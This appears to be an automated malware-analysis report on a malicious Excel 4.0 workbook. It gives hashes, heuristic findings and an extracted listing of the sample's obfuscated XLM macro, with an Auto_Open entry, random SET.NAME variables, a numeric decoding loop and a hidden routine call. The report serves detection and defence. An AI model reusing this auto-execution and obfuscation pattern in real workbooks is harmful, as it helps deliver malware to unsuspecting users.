Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8720dbd46dd0de59…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:38 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: bce1b060dd958214254b1c6128cad89f SHA-1: 4ca81675c8d8f758927e7865d84db7dcd3f6f775 SHA-256: 8720dbd46dd0de594bf93a4e25a3f7b2f36571effbf465336cb672ffd4d0ab56
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6623 bytes
SHA-256: cce73642c5570c1c3dc3bc3adb20a35cf355748a6cdf96c2649049dc70e349dd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vScnX
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D128 
' 0018     25 LABEL : Cell Value, String Constant - BkhgNfJPRs len=0 
' 0018     20 LABEL : Cell Value, String Constant - Fjgmf len=0 
' 0018     25 LABEL : Cell Value, String Constant - gyaoENgIKP len=0 
' 0018     20 LABEL : Cell Value, String Constant - Gybqo len=0 
' 0018     26 LABEL : Cell Value, String Constant - hVydpQjqsHU len=0 
' 0018     22 LABEL : Cell Value, String Constant - lxhGUrt len=0 
' 0018     22 LABEL : Cell Value, String Constant - MtDsAIn len=0 
' 0018     21 LABEL : Cell Value, String Constant - QlQUZC len=0 
' 0018     25 LABEL : Cell Value, String Constant - QojserARqH len=0 
' 0018     25 LABEL : Cell Value, String Constant - qrePStnxxD len=0 
' 0018     23 LABEL : Cell Value, String Constant - rNjNpNpN len=0 
' 0018     23 LABEL : Cell Value, String Constant - RupkszZU len=0 
' 0018     22 LABEL : Cell Value, String Constant - TIfOrdS len=0 
' 0018     27 LABEL : Cell Value, String Constant - uHyYIFjpcBgc len=0 
' 0018     20 LABEL : Cell Value, String Constant - vMsRc len=0 
' 0018     23 LABEL : Cell Value, String Constant - whSRgwnh len=0 
' 0018     22 LABEL : Cell Value, String Constant - xSArYeb len=0 
' 0018     27 LABEL : Cell Value, String Constant - yoXSBtIClhOI len=0 
' 0018     26 LABEL : Cell Value, String Constant - YucEnKqoQQZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZhZkzeShXjcY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vScnX,D42,"SET.NAME("MtDsAIn",0+VALUE("0"))",""
'  vScnX,D45,"SET.NAME("Fjgmf",MtDsAIn)",""
'  vScnX,D50,"SET.NAME("YucEnKqoQQZ",MtDsAIn)",""
'  vScnX,D52,"SET.NAME("QlQUZC",COUNTA(rNjNpNpN))",""
'  vScnX,D55,"SET.NAME("RupkszZU",COUNTA(uHyYIFjpcBgc))",""
'  vScnX,D57,[],""
'  vScnX,D61,"SET.NAME("hVydpQjqsHU","")",""
'  vScnX,D66,"Fjgmf",""
'  vScnX,D68,"SET.NAME("lxhGUrt",HLOOKUP("*",rNjNpNpN,Fjgmf,FALSE))",""
'  vScnX,D73,"BkhgNfJPRs",""
'  vScnX,D75,"SET.NAME("xSArYeb",MtDsAIn)",""
'  vScnX,D78,[],""
'  vScnX,R80,"",591.00000000000000000000
'  vScnX,R81,"",-627.00000000000000000000
'  vScnX,D82,"xSArYeb",""
'  vScnX,R82,"",749.00000000000000000000
'  vScnX,R83,"",-411.00000000000000000000
'  vScnX,R84,"",-605.00000000000000000000
'  vScnX,R85,"",220.00000000000000000000
'  vScnX,D86,"QojserARqH",""
'  vScnX,D88,"whSRgwnh",""
'  vScnX,D93,"Gybqo",""
'  vScnX,D95,"SET.NAME("qrePStnxxD",VALUE(HLOOKUP("*",uHyYIFjpcBgc,Gybqo,FALSE)))",""
'  vScnX,D98,"ZhZkzeShXjcY",""
'  vScnX,D101,"hVydpQjqsHU",""
'  vScnX,D105,"YucEnKqoQQZ",""
'  vScnX,D109,NEXT(),""
'  vScnX,D111,"vMsRc",""
'  vScnX,D115,[],""
'  vScnX,D118,"yoXSBtIClhOI",""
'  vScnX,D121,NEXT(),""
'  vScnX,D126,RETURN(),""
'  vScnX,D151,"SET.NAME("gyaoENgIKP",D42)",""
'  vScnX,D153,"rNjNpNpN",""
'  vScnX,D156,"SET.NAME("uHyYIFjpcBgc",R90C12)",""
'  vScnX,D160,"SET.NAME("yoXSBtIClhOI",168)",""
'  vScnX,D162,"SET.NAME("TIfOrdS",4)",""
'  vScnX,D167,gyaoENgIKP(),""
'  vScnX,D168,HALT(),""

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